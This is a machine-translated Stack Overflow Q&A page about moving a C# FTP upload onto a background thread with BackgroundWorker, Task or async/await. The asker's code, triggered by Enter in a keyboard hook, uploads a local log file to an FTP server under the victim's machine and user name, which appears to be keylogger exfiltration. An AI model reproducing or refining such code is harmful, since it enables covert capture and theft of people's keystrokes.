简体   繁体   English

线程FTP上传c#

[英]Threading FTP upload c#

I'm having trouble figuring out how to thread my FTP upload script. 我无法弄清楚如何线程化我的FTP上传脚本。 I'm trying to get it to upload from a C# console application. 我试图让它从C#控制台应用程序上传。 I dont like the fact that it freezes the app while it uploads. 我不喜欢它在上传时冻结应用程序的事实。 I've heard of using a "backgroundworker" but i have absolutely no idea how to set that up.. I've been searching for a while. 我听说过使用“背景工作者”,但我完全不知道如何设置它......我一直在寻找。 Can you give me an example? 你能举个例子吗? Thanks. 谢谢。

if ((Keys)vkCode == Keys.Enter)
{
                        //~~~ Enter Key pressed ~~~ //
                            string ftpsrc = Application.StartupPath + @"/logs/log.txt";
                            FtpWebRequest request2 = (FtpWebRequest)WebRequest.Create("ftp://server.com" + System.Environment.MachineName + "___" + System.Environment.UserName + @"/" + "log.txt");
                                    request2.Method = WebRequestMethods.Ftp.UploadFile;
                                    request2.Credentials = new NetworkCredential("username", "password");
                                    StreamReader sourceStream2 = new StreamReader(ftpsrc);
                                    byte[] fileContents2 = Encoding.UTF8.GetBytes(sourceStream2.ReadToEnd());
                                    sourceStream2.Close();
                                    request2.ContentLength = fileContents2.Length;
                                    Stream requestStream2 = request2.GetRequestStream();
                                    requestStream2.Write(fileContents2, 0, fileContents2.Length);
                                    requestStream2.Close();
                                    FtpWebResponse response2 = (FtpWebResponse)request2.GetResponse();
                                    response2.Close();


                            //~~~ End Enter Key ~~~//
                        }

A very simple way of doing this would be to use something like a BackgroundWorker which would give you access to things like progress events as well as control over the execution. 一个非常简单的方法是使用类似BackgroundWorker东西,它可以让你访问诸如进度事件和控制执行之类的东西。 This method would allow you to have the UI thread completely seperate from your logic of the FTP upload. 此方法允许您使UI线程完全独​​立于FTP上载的逻辑。 Meaning your UI would be responsive no matter how long the upload took too complete. 这意味着无论上传时间过长,您的UI都会响应。

Now multi-threading the actual upload is a different matter. 现在多线程实际上传是另一回事。 If that is what you were after it will require breaking the message up into equal parts and having the parts reassembled on the FTP side, but that would mean writing a custom ftp server as well. 如果这就是你所需要的,它将需要将消息分成相等的部分,并在FTP端重新组装部件,但这也意味着编写自定义的ftp服务器。

Take a look here for a full explanation on what the BackgroundWorker is and how to use it: http://msdn.microsoft.com/en-us/library/system.componentmodel.backgroundworker.aspx 看看这里有关BackgroundWorker是什么以及如何使用它的完整解释: http//msdn.microsoft.com/en-us/library/system.componentmodel.backgroundworker.aspx

EDIT:: 编辑::

Ok so to answer your question in the comments about how to setup the backgroundworker to execute on the enter key. 好的,请回答有关如何设置backgroundworker在enter键上执行的注释中的问题。 Take a look at the above docs to get the gist of how to use a backgroundworker in general. 看看上面的文档,了解一般如何使用backgroundworker的要点。

You would want to change your current key hook with the RunWorkerAsync() method of the backgroundworker you setup. 您可能希望使用您设置的后台工作程序的RunWorkerAsync()方法更改当前的密钥挂钩。 The DoWork method of the BackgroundWorker should be what you currently have in your key hook. BackgroundWorker的DoWork方法应该是您当前在密钥钩子中的方法。

    BG.DoWork += YourUploadFunction();

    if ((Keys)vkCode == Keys.Enter)
    {
         //~~~ Enter Key pressed ~~~ //
         BG.RunWorkerAsync();
    }

To initialize the BackgroundWorker do this: 要初始化BackgroundWorker请执行以下操作:

    BackgroundWorker BG = new BackgroundWorker();
    BG.DoWork += new DoWorkEventHandler(BG_DoWork);

The DoWorkEventHandler allows a new handler to be made to control what function/s the BG will do. DoWorkEventHandler允许使用新的处理程序来控制BG将执行的功能。 An example of this would be: 一个例子是:

    private void BG_DoWork(object sender, DoWorkEventArgs e)
    {   
         YourUploadFunctions();
    }

However you would want to do the initialization of the BackgroundWorker only once so that you do not have multiple instances of it. 但是,您只需要对BackgroundWorker一次初始化,这样就不会有多个实例。 Also once the DoWork event has been setup, it does not need to be done again. 此外,一旦设置了DoWork事件,就不需要再次执行。 ` `

BackgroundWorkers will work great for this, also another option is the Task class. BackgroundWorkers将为此工作,另一个选项是Task类。 You can read about it here Task Class . 你可以在这里阅读任务类 There is an example of how to implement it on the page. 有一个如何在页面上实现它的例子。 Also depending on what version of the .net framework you are coding with you could also look into Async and Await shown here async await . 另外,根据您编写的.net框架的版本,您还可以查看此处显示的Async和Await async await

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM